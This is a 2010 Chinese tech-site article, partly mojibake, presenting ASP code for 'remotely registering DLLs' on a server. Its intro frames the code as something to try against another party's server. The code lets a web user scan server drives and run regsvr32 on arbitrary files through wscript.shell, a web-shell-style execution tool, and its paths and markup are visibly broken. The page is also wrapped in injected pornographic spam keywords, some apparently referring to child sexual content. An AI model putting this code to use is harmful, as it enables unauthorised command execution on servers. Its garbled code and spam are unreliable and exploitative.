日韩欧美人妻无码精品白浆,www.大香蕉久久网,狠狠的日狠狠的操,日本好好热在线观看

LOGO OA教程 ERP教程 模切知識交流 PMS教程 CRM教程 開發(fā)文檔 其他文檔  
 
網(wǎng)站管理員

利用ASP遠(yuǎn)程注冊DLL的方法

admin
2010年7月5日 0:7 本文熱度 6664
[p]老外真是聰明,這個方法也想得到,有興趣的不妨試試,但是如果對方的服務(wù)器安全搞的很好的話,這個代碼也許就不能用了,但不管怎么樣,學(xué)習(xí)一下也是好的,:) [/p]
[p][br]<% response.buffer = true %>[br]<% server.scripttimeout = 500 [br]dim frmfolderpath, frmfilepath[/p]
[p]frmfolderpath = request.form("frmfolderpath")[br]frmfilepath = request.form("frmdllpath")[br]frmmethod = request.form("frmmethod")[br]btnreg = request.form("btnreg")[br]%>[/p]
[p][br][br]regsvr32.asp[br][br][/p]
[p][br]
[br][br][br][br][br]
[br]
[br]regsvr functions[br]insert path to dll directory
[br]
[br]
[br]<% [br]if request.form("btnfilelist") <> "" or btnreg <> "" then[br]set registerfiles = new clsregister[br]registerfiles.echob("select file")[br]call registerfiles.init(frmfolderpath)[br]registerfiles.echob("
")[br]if request.form("btnreg") <> "" then[br]call registerfiles.register(frmfilepath, frmmethod)[br]end if[br]set registerfiles = nothing[br]end if[br]%>[br]
[br]
[br]
[br][br][br]<%[br]class clsregister[/p]
[p]private m_ofs [/p]
[p]public property let ofs(objofs)[br]m_ofs = objofs[br]end property[/p]
[p]public property get ofs()[br]set ofs = server.createobject("scripting.filesystemobject")[br]end property[/p]
[p][br]sub init(strroot) 'root to search (c:, d:, e:)[br]dim odrive, orootdir[br]if ofs.folderexists(strroot) then[br]if len(strroot) < 3 then 'must be a drive[br]set odrive = ofs.getdrive(strroot)[br]set orootdir = odrive.rootfolder[br]else[br]set orootdir = ofs.getfolder(strroot)[br]end if[br]else[br]echob("folder ( " & strroot & " ) not found.")[br]exit sub[br]end if[br]setroot = orootdir[/p]
[p]echo("")[br]buildoptions[br]end sub[/p]
[p]sub getalldlls(oparentfolder)[br]dim osubfolders, ofile, ofiles[br]set osubfolders = oparentfolder.subfolders[br]set opfiles = oparentfolder.files[/p]
[p]for each ofile in opfiles[br]if right(lcase(ofile.name), 4) = ".dll" or right(lcase(ofile.name), 4) = ".ocx" then[br]echo("")[br]end if[br]next[/p]
[p]on error resume next[br]for each ofolder in osubfolders 'iterate all folders in drive[br]set ofiles = ofolder.files[br]for each ofile in ofiles[br]if right(lcase(ofile.name), 4) = ".dll" or right(lcase(ofile.name), 4) = ".ocx" then[br]echo("")[br]end if[br]next[br]call getalldlls(ofolder)[br]next[br]on error goto 0[br]end sub[/p]
[p]sub register(strfilepath, regmethod)[br]dim thefile, strfile, oshell, exitcode[br]set thefile = ofs.getfile(strfilepath)[br]strfile = thefile.path[/p]
[p]set oshell = createobject ("wscript.shell")[/p]
[p]if regmethod = "reg" then 'register[br]oshell.run "c:winntsystem32 egsvr32.exe /s " & strfile, 0, false[br]exitcode = oshell.run("c:winntsystem32 egsvr32.exe /s " & strfile, 0, false)[br]echob("regsvr32.exe exitcode = " & exitcode)[br]else 'unregister[br]oshell.run "c:winntsystem32 egsvr32.exe /u/s " & strfile, 0, false[br]exitcode = oshell.run("c:winntsystem32 egsvr32.exe /u/s " & strfile, 0, false)[br]echob("regsvr32.exe exitcode = " & exitcode)[br]end if[/p]
[p]cleanup oshell[br]end sub[/p]
[p]sub buildoptions[br]echob("register: ")[br]echob("unregister: ")[br]end sub[/p]
[p]function echo(str)[br]echo = response.write(str & vbcrlf)[br]end function[/p]
[p]function echob(str)[br]echob = response.write(str & "
" & vbcrlf)[br]end function[/p]
[p]sub cleanup(obj)[br]if isobject(obj) then[br]set obj = nothing[br]end if[br]end sub[/p]
[p]sub class_terminate()[br]cleanup ofs[br]end sub[br]end class[br]%> [/p]

該文章在 2010/7/5 0:07:33 編輯過
關(guān)鍵字查詢
相關(guān)文章
正在查詢...
點(diǎn)晴ERP是一款針對中小制造業(yè)的專業(yè)生產(chǎn)管理軟件系統(tǒng),系統(tǒng)成熟度和易用性得到了國內(nèi)大量中小企業(yè)的青睞。
點(diǎn)晴PMS碼頭管理系統(tǒng)主要針對港口碼頭集裝箱與散貨日常運(yùn)作、調(diào)度、堆場、車隊、財務(wù)費(fèi)用、相關(guān)報表等業(yè)務(wù)管理,結(jié)合碼頭的業(yè)務(wù)特點(diǎn),圍繞調(diào)度、堆場作業(yè)而開發(fā)的。集技術(shù)的先進(jìn)性、管理的有效性于一體,是物流碼頭及其他港口類企業(yè)的高效ERP管理信息系統(tǒng)。
點(diǎn)晴WMS倉儲管理系統(tǒng)提供了貨物產(chǎn)品管理,銷售管理,采購管理,倉儲管理,倉庫管理,保質(zhì)期管理,貨位管理,庫位管理,生產(chǎn)管理,WMS管理系統(tǒng),標(biāo)簽打印,條形碼,二維碼管理,批號管理軟件。
點(diǎn)晴免費(fèi)OA是一款軟件和通用服務(wù)都免費(fèi),不限功能、不限時間、不限用戶的免費(fèi)OA協(xié)同辦公管理系統(tǒng)。
Copyright 2010-2025 ClickSun All Rights Reserved

91在线观视频观看一区二区三区| 国产a欧美| 天堂a在线地址36新版| 日本欧美亚洲日韩| 肏B电视剧区| 日本片啊啊啊嗯嗯嗯| 国产大尺度无码视频久久久| 欧美啪啪日韩精品中文字幕| 亚洲欧美日韩亚洲欧美日韩色图| 日欧晚成人| 国产精品呦另类稀缺鲁鲁| 日韩成人毛片视频在线观看| 中文字幕中出免费观看全集| 亚洲欧美日韩中文字幕无码| 亚洲天堂最新精品| 免费呦呦小视频| 国产日韩欧美在线二区| 欧美乱码精品一区二区三区导航| 日本高清黄| 999久久久无码国产精品| 丝袜亚洲日韩制服丝袜中文字幕| 日韩成人AV手机在线看| 久久精品影院理论片| 日产美产国产一区黄片| 大香蕉伊欧美在线观看| 自拍影视在线观看3区| 欧美熟妇视频免费观看下载| 大香蕉国产精品久久久| 男人又爽又黄| 三级黄色欧美国产| 久久久午夜免费电影| 五月婷人妻免费视频| 天长骚逼亚洲国产欧美网站 | 青青国产精品无码专区| 色鸡鸡AV| 激情综合五日| 免费一区二区三区四区五区六区| 99黄色软件| 亚洲中文字幕第一视频| 俺去最新一区二区三区| 丁香九月成人|